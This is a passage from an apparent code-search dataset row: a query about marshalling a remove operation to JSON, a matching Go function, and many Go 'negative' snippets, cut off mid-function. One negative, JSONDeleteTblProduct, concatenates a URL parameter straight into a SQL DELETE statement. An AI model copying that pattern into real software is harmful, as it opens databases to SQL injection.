like","value":["0.7059283","0.6990323","0.6866564","0.67916596","0.67916596","0.67795163","0.67414075","0.67300296","0.67131865","0.6689635","0.6685944","0.663312","0.6602054","0.6599366","0.65887535","0.6547597","0.6542914","0.6540032","0.6538426","0.6529209","0.6525384","0.6521895","0.6512844","0.6491686","0.6490539","0.6466298","0.6465535","0.6462331","0.6461393","0.64454675","0.6445143","0.6433674","0.642168","0.6403291","0.63871044","0.63861835","0.6381758","0.6381307","0.6372583","0.6368044","0.63649404","0.6355099","0.6352127","0.63495535","0.63494974","0.63474447","0.63440377","0.6339773","0.6339327","0.6338659","0.63321775","0.6308859","0.6303998","0.6300352","0.62990654","0.6296813","0.6277989","0.6274312","0.6262347","0.62492377","0.62478894","0.62378126","0.6232048","0.62314314","0.6229983","0.62297904","0.6229035","0.62261665","0.62234","0.62202555","0.62198395","0.6216469","0.6216469","0.6215683","0.61997986","0.6194344","0.6192112","0.61879605","0.6175737","0.6171555","0.61710227","0.6165165","0.6163969","0.6163124","0.6155547","0.6152733","0.6130305","0.6127966","0.61278033","0.61247116","0.61235005","0.6120731","0.6116914","0.6112363","0.6105063","0.6101644","0.6098508","0.6094788","0.60917634","0.608204"],"string":"[\n \"0.7059283\",\n \"0.6990323\",\n \"0.6866564\",\n \"0.67916596\",\n \"0.67916596\",\n \"0.67795163\",\n \"0.67414075\",\n \"0.67300296\",\n \"0.67131865\",\n \"0.6689635\",\n \"0.6685944\",\n \"0.663312\",\n \"0.6602054\",\n \"0.6599366\",\n \"0.65887535\",\n \"0.6547597\",\n \"0.6542914\",\n \"0.6540032\",\n \"0.6538426\",\n \"0.6529209\",\n \"0.6525384\",\n \"0.6521895\",\n \"0.6512844\",\n \"0.6491686\",\n \"0.6490539\",\n \"0.6466298\",\n \"0.6465535\",\n \"0.6462331\",\n \"0.6461393\",\n \"0.64454675\",\n \"0.6445143\",\n \"0.6433674\",\n \"0.642168\",\n \"0.6403291\",\n \"0.63871044\",\n \"0.63861835\",\n \"0.6381758\",\n \"0.6381307\",\n \"0.6372583\",\n \"0.6368044\",\n \"0.63649404\",\n \"0.6355099\",\n \"0.6352127\",\n \"0.63495535\",\n \"0.63494974\",\n \"0.63474447\",\n \"0.63440377\",\n \"0.6339773\",\n \"0.6339327\",\n \"0.6338659\",\n \"0.63321775\",\n \"0.6308859\",\n \"0.6303998\",\n \"0.6300352\",\n \"0.62990654\",\n \"0.6296813\",\n \"0.6277989\",\n \"0.6274312\",\n \"0.6262347\",\n \"0.62492377\",\n \"0.62478894\",\n \"0.62378126\",\n \"0.6232048\",\n \"0.62314314\",\n \"0.6229983\",\n \"0.62297904\",\n \"0.6229035\",\n \"0.62261665\",\n \"0.62234\",\n \"0.62202555\",\n \"0.62198395\",\n \"0.6216469\",\n \"0.6216469\",\n \"0.6215683\",\n \"0.61997986\",\n \"0.6194344\",\n \"0.6192112\",\n \"0.61879605\",\n \"0.6175737\",\n \"0.6171555\",\n \"0.61710227\",\n \"0.6165165\",\n \"0.6163969\",\n \"0.6163124\",\n \"0.6155547\",\n \"0.6152733\",\n \"0.6130305\",\n \"0.6127966\",\n \"0.61278033\",\n \"0.61247116\",\n \"0.61235005\",\n \"0.6120731\",\n \"0.6116914\",\n \"0.6112363\",\n \"0.6105063\",\n \"0.6101644\",\n \"0.6098508\",\n \"0.6094788\",\n \"0.60917634\",\n \"0.608204\"\n]"},"document_score":{"kind":"string","value":"0.7891421"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106174,"cells":{"query":{"kind":"string","value":"MarshalJSON will marshal a remove operation into JSON"},"document":{"kind":"string","value":"func (op OpRemove) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(op.Field)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (dpbo DeletePropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tdpbo.Kind = KindDelete\n\tobjectMap := make(map[string]interface{})\n\tif dpbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = dpbo.PropertyName\n\t}\n\tif dpbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = dpbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (obj CartRemoveLineItemAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartRemoveLineItemAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"removeLineItem\", Alias: (*Alias)(&obj)})\n}","func (obj CartRemovePaymentAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartRemovePaymentAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"removePayment\", Alias: (*Alias)(&obj)})\n}","func (v RemoveSymbolFromWatchlistRequest) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson3e8ab7adEncodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca10(w, v)\n}","func (op *OpRemove) UnmarshalJSON(raw []byte) error {\n\treturn json.Unmarshal(raw, &op.Field)\n}","func (v RemoveUserData) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonD2b7633eEncode20191OPGPlus2InternalPkgModels14(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func Test_jsonpatch_Remove_NonExistent_IsError(t *testing.T) {\n\tg := NewWithT(t)\n\n\tpatch1, _ := jsonpatch.DecodePatch([]byte(`[{\"op\":\"remove\", \"path\":\"/test_key\"}]`))\n\n\torigDoc := []byte(`{\"asd\":\"foof\"}`)\n\n\t_, err := patch1.Apply(origDoc)\n\tg.Expect(err).Should(HaveOccurred(), \"patch apply\")\n}","func JSONDel(conn redis.Conn, key string, path string) (res interface{}, err error) {\n\tname, args, _ := CommandBuilder(\"JSON.DEL\", key, path)\n\treturn conn.Do(name, args...)\n}","func (j jsonNull) doRemovePath([]string) (JSON, bool, error) { return j, false, nil }","func Test_jsonpatch_Remove_ObjectAndArray(t *testing.T) {\n\tg := NewWithT(t)\n\n\torigDoc := []byte(`{\n\t\t\"asd\":\"foof\",\n\t\t\"test_obj\":{\"color\":\"red\", \"model\":\"sedan\"},\n\t\t\"test_array\":[\"uno\", \"deux\", \"three\"]\n }`)\n\n\tpatch1, _ := DecodePatch([]byte(`[\n\t\t{\"op\":\"remove\", \"path\":\"/test_obj\"},\n\t\t{\"op\":\"remove\", \"path\":\"/test_array\"}\n\t]`))\n\n\texpectNewDoc := []byte(`{\"asd\":\"foof\"}`)\n\n\tnewDoc, err := patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch apply\")\n\tg.Expect(JSONEqual(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n}","func (d DeleteOperation) MarshalJSON() ([]byte, error) {\n\t// validate required fields\n\tswitch {\n\tcase len(d.Table) == 0:\n\t\treturn nil, errors.New(\"Table field is required\")\n\tcase len(d.Where) == 0:\n\t\treturn nil, errors.New(\"Where field is required\")\n\t}\n\t// validate contions\n\tfor _, cond := range d.Where {\n\t\tif !cond.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid condition: %v\", cond)\n\t\t}\n\t}\n\n\tvar temp = struct {\n\t\tOp OperationType `json:\"op\"`\n\t\tTable ID `json:\"table\"`\n\t\tWhere []Condition `json:\"where\"`\n\t}{\n\t\tOp: d.Op(),\n\t\tTable: d.Table,\n\t\tWhere: d.Where,\n\t}\n\treturn json.Marshal(temp)\n}","func EncodeRemoveResponse(_ context.Context, w http.ResponseWriter, response interface{}) (err error) {\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\te := json.NewEncoder(w)\n\te.SetIndent(\"\", \"\\t\")\n\terr = e.Encode(response)\n\treturn err\n}","func Test_jsonpatch_Remove_ObjectAndArray(t *testing.T) {\n\tg := NewWithT(t)\n\n\torigDoc := []byte(`{\n\t\t\"asd\":\"foof\",\n\t\t\"test_obj\":{\"color\":\"red\", \"model\":\"sedan\"},\n\t\t\"test_array\":[\"uno\", \"deux\", \"three\"]\n }`)\n\n\tpatch1, _ := jsonpatch.DecodePatch([]byte(`[\n\t\t{\"op\":\"remove\", \"path\":\"/test_obj\"},\n\t\t{\"op\":\"remove\", \"path\":\"/test_array\"}\n\t]`))\n\n\texpectNewDoc := []byte(`{\"asd\":\"foof\"}`)\n\n\tnewDoc, err := patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch apply\")\n\tg.Expect(jsonpatch.Equal(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n}","func (v RemoveSymbolFromWatchlistRequest) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson3e8ab7adEncodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca10(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (v deleteByQuery) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson390b7126EncodeGithubComChancedPicker39(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (obj CartRemoveCustomLineItemAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartRemoveCustomLineItemAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"removeCustomLineItem\", Alias: (*Alias)(&obj)})\n}","func (obj CartRemoveShippingMethodAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartRemoveShippingMethodAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"removeShippingMethod\", Alias: (*Alias)(&obj)})\n}","func (v EventPipelineDelete) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk25(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (v EventPipelinePermissionDelete) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk12(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (v RemoveUserData) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjsonD2b7633eEncode20191OPGPlus2InternalPkgModels14(w, v)\n}","func (v deleteByQuery) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson390b7126EncodeGithubComChancedPicker39(w, v)\n}","func (obj CartRemoveDiscountCodeAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartRemoveDiscountCodeAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"removeDiscountCode\", Alias: (*Alias)(&obj)})\n}","func marshalDeletion(id *firestore.DocumentRef, updatedAt time.Time) (types.Mutation, error) {\n\tkey, err := json.Marshal([]string{id.ID})\n\tif err != nil {\n\t\treturn types.Mutation{}, errors.WithStack(err)\n\t}\n\n\treturn types.Mutation{\n\t\tKey: key,\n\t\tTime: hlc.New(updatedAt.UnixNano(), 0),\n\t}, nil\n}","func (v EventApplicationPermissionDelete) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson4c51a5cdEncodeGithubComOvhCdsSdk16(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (v EventPipelineParameterDelete) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk16(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (obj CartRemoveItemShippingAddressAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartRemoveItemShippingAddressAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"removeItemShippingAddress\", Alias: (*Alias)(&obj)})\n}","func (nre NodeRemovedEvent) MarshalJSON() ([]byte, error) {\n\tnre.Kind = KindNodeRemoved\n\tobjectMap := make(map[string]interface{})\n\tif nre.NodeID != nil {\n\t\tobjectMap[\"NodeId\"] = nre.NodeID\n\t}\n\tif nre.NodeInstance != nil {\n\t\tobjectMap[\"NodeInstance\"] = nre.NodeInstance\n\t}\n\tif nre.NodeType != nil {\n\t\tobjectMap[\"NodeType\"] = nre.NodeType\n\t}\n\tif nre.FabricVersion != nil {\n\t\tobjectMap[\"FabricVersion\"] = nre.FabricVersion\n\t}\n\tif nre.IPAddressOrFQDN != nil {\n\t\tobjectMap[\"IpAddressOrFQDN\"] = nre.IPAddressOrFQDN\n\t}\n\tif nre.NodeCapacities != nil {\n\t\tobjectMap[\"NodeCapacities\"] = nre.NodeCapacities\n\t}\n\tif nre.NodeName != nil {\n\t\tobjectMap[\"NodeName\"] = nre.NodeName\n\t}\n\tif nre.EventInstanceID != nil {\n\t\tobjectMap[\"EventInstanceId\"] = nre.EventInstanceID\n\t}\n\tif nre.TimeStamp != nil {\n\t\tobjectMap[\"TimeStamp\"] = nre.TimeStamp\n\t}\n\tif nre.HasCorrelatedEvents != nil {\n\t\tobjectMap[\"HasCorrelatedEvents\"] = nre.HasCorrelatedEvents\n\t}\n\tif nre.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = nre.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (v EventPipelineJobDelete) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk23(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func cleanJSON(d interface{}) (jsonBuf []byte, id, rev string, err error) {\n\tjsonBuf, err = json.Marshal(d)\n\tif err != nil {\n\t\treturn\n\t}\n\tm := map[string]interface{}{}\n\tmust(json.Unmarshal(jsonBuf, &m))\n\tid, _ = m[\"_id\"].(string)\n\tdelete(m, \"_id\")\n\trev, _ = m[\"_rev\"].(string)\n\tdelete(m, \"_rev\")\n\tjsonBuf, err = json.Marshal(m)\n\treturn\n}","func (a *RemoveScriptToEvaluateOnNewDocumentArgs) MarshalJSON() ([]byte, error) {\n\ttype Copy RemoveScriptToEvaluateOnNewDocumentArgs\n\tc := &Copy{}\n\t*c = Copy(*a)\n\treturn json.Marshal(&c)\n}","func JSONDeleteTblProduct(c *gin.Context) {\n\tDb, err := config.DbConnect()\n\tif err != nil {\n\t\tpanic(\"Not Connect database\")\n\t}\n\tparamID := c.Param(\"id\")\n\tquery := `DELETE FROM tabelproduct WHERE id ='` + paramID + `';`\n\tupdDB, err := Db.Query(query)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer updDB.Close()\n\tDb.Close()\n\tc.JSON(http.StatusOK, \"Delete record successfully\")\n}","func (v EventApplicationDelete) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson4c51a5cdEncodeGithubComOvhCdsSdk21(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (v EventApplicationRepositoryDelete) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson4c51a5cdEncodeGithubComOvhCdsSdk8(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (op OpRetain) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(op.Fields)\n}","func (c *KafkaCluster) removeMarshal(m *Marshaler) {\n\tc.lock.Lock()\n\tdefer c.lock.Unlock()\n\n\tfor i, ml := range c.marshalers {\n\t\tif ml == m {\n\t\t\tc.marshalers = append(c.marshalers[:i], c.marshalers[i+1:]...)\n\t\t\tbreak\n\t\t}\n\t}\n}","func (r Record) Remove(bs []byte) *RecordRemoveResult {\n\tdata := new(RecordRemoveResult)\n\terr := json.Unmarshal(bs, data)\n\tif err != nil {\n\t\treturn nil\n\t}\n\treturn data\n}","func (v EventPipelineStageDelete) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk4(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (obj CartSetDeleteDaysAfterLastModificationAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartSetDeleteDaysAfterLastModificationAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"setDeleteDaysAfterLastModification\", Alias: (*Alias)(&obj)})\n}","func (cepbo CheckExistsPropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tcepbo.Kind = KindCheckExists\n\tobjectMap := make(map[string]interface{})\n\tif cepbo.Exists != nil {\n\t\tobjectMap[\"Exists\"] = cepbo.Exists\n\t}\n\tif cepbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = cepbo.PropertyName\n\t}\n\tif cepbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = cepbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func encodeDeleteResponse(ctx context.Context, w http1.ResponseWriter, response interface{}) (err error) {\n\tif f, ok := response.(endpoint.Failure); ok && f.Failed() != nil {\n\t\tErrorEncoder(ctx, f.Failed(), w)\n\t\treturn nil\n\t}\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\terr = json.NewEncoder(w).Encode(response)\n\treturn\n}","func encodeDeleteResponse(ctx context.Context, w http1.ResponseWriter, response interface{}) (err error) {\n\tif f, ok := response.(endpoint.Failure); ok && f.Failed() != nil {\n\t\tErrorEncoder(ctx, f.Failed(), w)\n\t\treturn nil\n\t}\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\terr = json.NewEncoder(w).Encode(response)\n\treturn\n}","func (r *Request) DeleteJSON(path string, data interface{}) {\n\tb, err := json.Marshal(data)\n\tif err != nil {\n\t\tr.t.Fatalf(\"httptesting: DeleteJSON:json.Marshal(%T): %v\", data, err)\n\t}\n\n\tr.Delete(path, \"application/json\", b)\n}","func (obj CartUnfreezeCartAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartUnfreezeCartAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"unfreezeCart\", Alias: (*Alias)(&obj)})\n}","func JSONOpString(v []types.Operation) (string, error) {\n\tvar tx types.Operations\n\n\ttx = append(tx, v...)\n\n\tans, err := types.JSONMarshal(tx)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(ans), nil\n}","func (o Operation)MarshalJSON() ([]byte, error){\n objectMap := make(map[string]interface{})\n return json.Marshal(objectMap)\n }","func DecodeRemoveRequest(_ context.Context, r *http.Request) (req interface{}, err error) {\n\treq = endpoints.RemoveRequest{Id: mux.Vars(r)[\"id\"]}\n\t//err = json.NewDecoder(r.Body).Decode(&r)\n\treturn req, err\n}","func (v EventApplicationKeyDelete) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson4c51a5cdEncodeGithubComOvhCdsSdk18(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (v EventPipelineParameterDelete) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk16(w, v)\n}","func (gpbo GetPropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tgpbo.Kind = KindGet\n\tobjectMap := make(map[string]interface{})\n\tif gpbo.IncludeValue != nil {\n\t\tobjectMap[\"IncludeValue\"] = gpbo.IncludeValue\n\t}\n\tif gpbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = gpbo.PropertyName\n\t}\n\tif gpbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = gpbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (v EventPipelineDelete) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk25(w, v)\n}","func (v EventPipelinePermissionDelete) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk12(w, v)\n}","func (d DeletedSecretItem) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"attributes\", d.Attributes)\n\tpopulate(objectMap, \"contentType\", d.ContentType)\n\tpopulateTimeUnix(objectMap, \"deletedDate\", d.DeletedDate)\n\tpopulate(objectMap, \"id\", d.ID)\n\tpopulate(objectMap, \"managed\", d.Managed)\n\tpopulate(objectMap, \"recoveryId\", d.RecoveryID)\n\tpopulateTimeUnix(objectMap, \"scheduledPurgeDate\", d.ScheduledPurgeDate)\n\tpopulate(objectMap, \"tags\", d.Tags)\n\treturn json.Marshal(objectMap)\n}","func (u BasicUpdateOperation) JSON() string {\n\tj, _ := json.Marshal(u)\n\treturn string(j)\n}","func (ppbo PutPropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tppbo.Kind = KindPut\n\tobjectMap := make(map[string]interface{})\n\tobjectMap[\"Value\"] = ppbo.Value\n\tif ppbo.CustomTypeID != nil {\n\t\tobjectMap[\"CustomTypeId\"] = ppbo.CustomTypeID\n\t}\n\tif ppbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = ppbo.PropertyName\n\t}\n\tif ppbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = ppbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func TestRemove(t *testing.T) {\n\toriginCtrl := gomock.NewController(t)\n\tdefer originCtrl.Finish()\n\tmockOrigin := mocks.NewMockConnector(originCtrl)\n\n\tfallbackCtrl := gomock.NewController(t)\n\tdefer fallbackCtrl.Finish()\n\tmockFallback := mocks.NewMockConnector(fallbackCtrl)\n\n\tkeys := map[string]dosa.FieldValue{}\n\ttransformedKeys := map[string]dosa.FieldValue{key: []byte{}}\n\tmockOrigin.EXPECT().Remove(context.TODO(), testEi, keys).Return(nil)\n\tmockFallback.EXPECT().Remove(gomock.Not(context.TODO()), adaptedEi, transformedKeys).Return(nil)\n\n\tconnector := NewConnector(mockOrigin, mockFallback, NewJSONEncoder(), nil, cacheableEntities...)\n\tconnector.setSynchronousMode(true)\n\terr := connector.Remove(context.TODO(), testEi, keys)\n\tassert.NoError(t, err)\n}","func delJSONRaw(data []byte, path string, pathRequired bool) ([]byte, error) {\n\tvar err error\n\tsplitPath := customSplit(path)\n\tnumOfInserts := 0\n\n\tfor element, k := range splitPath {\n\t\tarrayRefs := jsonPathRe.FindAllStringSubmatch(k, -1)\n\t\tif arrayRefs != nil && len(arrayRefs) > 0 {\n\t\t\tobjKey := arrayRefs[0][1] // the key\n\t\t\tarrayKeyStr := arrayRefs[0][2] // the array index\n\t\t\terr = validateArrayKeyString(arrayKeyStr)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\t// not currently supported\n\t\t\tif arrayKeyStr == \"*\" {\n\t\t\t\treturn nil, SpecError(\"Array wildcard not supported for this operation.\")\n\t\t\t}\n\n\t\t\t// if not a wildcard then piece that path back together with the\n\t\t\t// array index as an entry in the splitPath slice\n\t\t\tsplitPath = makePathWithIndex(arrayKeyStr, objKey, splitPath, element+numOfInserts)\n\t\t\tnumOfInserts++\n\t\t} else {\n\t\t\t// no array reference, good to go\n\t\t\tcontinue\n\t\t}\n\t}\n\n\tif pathRequired {\n\t\t_, _, _, err = jsonparser.Get(data, splitPath...)\n\t\tif err == jsonparser.KeyPathNotFoundError {\n\t\t\treturn nil, NonExistentPath\n\t\t} else if err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tdata = jsonparser.Delete(data, splitPath...)\n\treturn data, nil\n}","func (sde ServiceDeletedEvent) MarshalJSON() ([]byte, error) {\n\tsde.Kind = KindServiceDeleted\n\tobjectMap := make(map[string]interface{})\n\tif sde.ServiceTypeName != nil {\n\t\tobjectMap[\"ServiceTypeName\"] = sde.ServiceTypeName\n\t}\n\tif sde.ApplicationName != nil {\n\t\tobjectMap[\"ApplicationName\"] = sde.ApplicationName\n\t}\n\tif sde.ApplicationTypeName != nil {\n\t\tobjectMap[\"ApplicationTypeName\"] = sde.ApplicationTypeName\n\t}\n\tif sde.ServiceInstance != nil {\n\t\tobjectMap[\"ServiceInstance\"] = sde.ServiceInstance\n\t}\n\tif sde.IsStateful != nil {\n\t\tobjectMap[\"IsStateful\"] = sde.IsStateful\n\t}\n\tif sde.PartitionCount != nil {\n\t\tobjectMap[\"PartitionCount\"] = sde.PartitionCount\n\t}\n\tif sde.TargetReplicaSetSize != nil {\n\t\tobjectMap[\"TargetReplicaSetSize\"] = sde.TargetReplicaSetSize\n\t}\n\tif sde.MinReplicaSetSize != nil {\n\t\tobjectMap[\"MinReplicaSetSize\"] = sde.MinReplicaSetSize\n\t}\n\tif sde.ServicePackageVersion != nil {\n\t\tobjectMap[\"ServicePackageVersion\"] = sde.ServicePackageVersion\n\t}\n\tif sde.ServiceID != nil {\n\t\tobjectMap[\"ServiceId\"] = sde.ServiceID\n\t}\n\tif sde.EventInstanceID != nil {\n\t\tobjectMap[\"EventInstanceId\"] = sde.EventInstanceID\n\t}\n\tif sde.TimeStamp != nil {\n\t\tobjectMap[\"TimeStamp\"] = sde.TimeStamp\n\t}\n\tif sde.HasCorrelatedEvents != nil {\n\t\tobjectMap[\"HasCorrelatedEvents\"] = sde.HasCorrelatedEvents\n\t}\n\tif sde.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = sde.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (insert InsertOperation) MarshalJSON() ([]byte, error) {\n\t// validate required fields\n\tswitch {\n\tcase len(insert.Table) == 0:\n\t\treturn nil, errors.New(\"Table field is required\")\n\tcase insert.Row == nil:\n\t\treturn nil, errors.New(\"Row field is required\")\n\t}\n\n\tvar temp = struct {\n\t\tOp OperationType `json:\"op\"`\n\t\tTable ID `json:\"table\"`\n\t\tRow Row `json:\"row\"`\n\t\tUUIDName ID `json:\"uuid-name,omitempty\"`\n\t}{\n\t\tOp: insert.Op(),\n\t\tTable: insert.Table,\n\t\tRow: insert.Row,\n\t\tUUIDName: insert.UUIDName,\n\t}\n\n\treturn json.Marshal(temp)\n}","func stripRemovedStateAttributes(state []byte, ty cty.Type) []byte {\n\tjsonMap := map[string]interface{}{}\n\terr := json.Unmarshal(state, &jsonMap)\n\tif err != nil {\n\t\t// we just log any errors here, and let the normal decode process catch\n\t\t// invalid JSON.\n\t\tlog.Printf(\"[ERROR] UpgradeResourceState: stripRemovedStateAttributes: %s\", err)\n\t\treturn state\n\t}\n\n\t// if no changes were made, we return the original state to ensure nothing\n\t// was altered in the marshaling process.\n\tif !removeRemovedAttrs(jsonMap, ty) {\n\t\treturn state\n\t}\n\n\tjs, err := json.Marshal(jsonMap)\n\tif err != nil {\n\t\t// if the json map was somehow mangled enough to not marhsal, something\n\t\t// went horribly wrong\n\t\tpanic(err)\n\t}\n\n\treturn js\n}","func (p *Parser) Remove(pattern string) error {\n return p.json.Remove(pattern)\n}","func (op *OpAdd) UnmarshalJSON(raw []byte) error {\n\tvar addRaw opAddRaw\n\terr := json.Unmarshal(raw, &addRaw)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decode OpAdd: %s\", err)\n\t}\n\n\treturn op.unmarshalFromOpAddRaw(addRaw)\n}","func (mutate MutateOperation) MarshalJSON() ([]byte, error) {\n\t// validate required fields\n\tswitch {\n\tcase len(mutate.Table) == 0:\n\t\treturn nil, errors.New(\"Table field is required\")\n\tcase len(mutate.Where) == 0:\n\t\treturn nil, errors.New(\"Where field is required\")\n\tcase len(mutate.Mutations) == 0:\n\t\treturn nil, errors.New(\"Mutations field is required\")\n\t}\n\t// validate contions\n\tfor _, cond := range mutate.Where {\n\t\tif !cond.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid condition: %v\", cond)\n\t\t}\n\t}\n\t// validate mutations\n\tfor _, mutation := range mutate.Mutations {\n\t\tif !mutation.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid mutation: %v\", mutation)\n\t\t}\n\t}\n\n\tvar temp = struct {\n\t\tOp OperationType `json:\"op\"`\n\t\tTable ID `json:\"table\"`\n\t\tWhere []Condition `json:\"where\"`\n\t\tMutations []Mutation `json:\"mutations\"`\n\t}{\n\t\tOp: mutate.Op(),\n\t\tTable: mutate.Table,\n\t\tWhere: mutate.Where,\n\t\tMutations: mutate.Mutations,\n\t}\n\n\treturn json.Marshal(temp)\n}","func (w *WebPurifyRequest) convertToRemoveFromAllowListResponse(resp http.Response) (response.WebPurifyRemoveFromAllowListResponse, error) {\n\tbody, err := ioutil.ReadAll(resp.Body)\n\n\tif err != nil {\n\t\treturn response.WebPurifyRemoveFromAllowListResponse{}, err\n\t}\n\n\tresponseWrapper := response.WebPurifyRemoveFromAllowListResponseWrapper{}\n\n\terr = json.Unmarshal(body, &responseWrapper)\n\tif err != nil {\n\t\treturn response.WebPurifyRemoveFromAllowListResponse{}, err\n\t}\n\n\treturn responseWrapper.Response, nil\n}","func (v EventApplicationVariableDelete) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson4c51a5cdEncodeGithubComOvhCdsSdk4(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func removeBobba(w http.ResponseWriter, r *http.Request) {\n\tvars := mux.Vars(r)\n\tid, err := getRequestID(vars, \"id\")\n\n\t// Set JSON header\n\tw.Header().Set(\"Content-type\", \"application/json\")\n\tif err != nil {\n\t\terrPayload := buildErrorPayload(idEmptyRemove, 200)\n\n\t\tw.Write(errPayload)\n\t\treturn\n\t}\n\n\terr = 